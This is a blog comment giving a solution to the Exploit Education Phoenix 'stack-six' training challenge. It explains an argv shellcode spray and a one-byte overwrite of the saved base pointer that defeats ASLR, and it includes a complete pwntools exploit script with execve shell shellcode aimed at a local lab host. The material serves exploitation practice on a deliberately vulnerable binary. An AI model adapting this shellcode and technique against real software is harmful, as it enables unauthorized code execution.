    Hi. I have a solution for this challenge that works even if ASLR is on. The idea is that to spray the stack with argv params.
    Consider we pass 32 shellcode bytes in argv. So we should have 32 pointers on the stack, each pointing to one of these parameters. If we take a look at the stack we will find out that these pointers are close to the overwrited rbp (say for example 40 bytes after it). By doing so we just need to change LSB of rbp to a big value (say 0xf0) to higher the saved base pointer. By doing so, rbp will point to the region of mentioned 32 pointers to shellcodes. So after a ret, we will jump to one of our shellcodes.
    This is my exploit:

    from pwn import *

    context.arch = “amd64″
    shellcode = b”\x90″ * 20 + b”\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05″ + b”\x90″*17
    assert(len(shellcode) == 64)

    proc_args = [shellcode] * 32

    remote = ssh(user=”user”, host=”localhost”, port=2222, password=”user”)
    proc = remote.process([b”/opt/phoenix/amd64/stack-six”, *proc_args], env={b”ExploitEducation”: b”A”*126 + b”\xf0″})
    proc.interactive()

    Reply

Leave a Reply to Andrew Lamarra Cancel reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.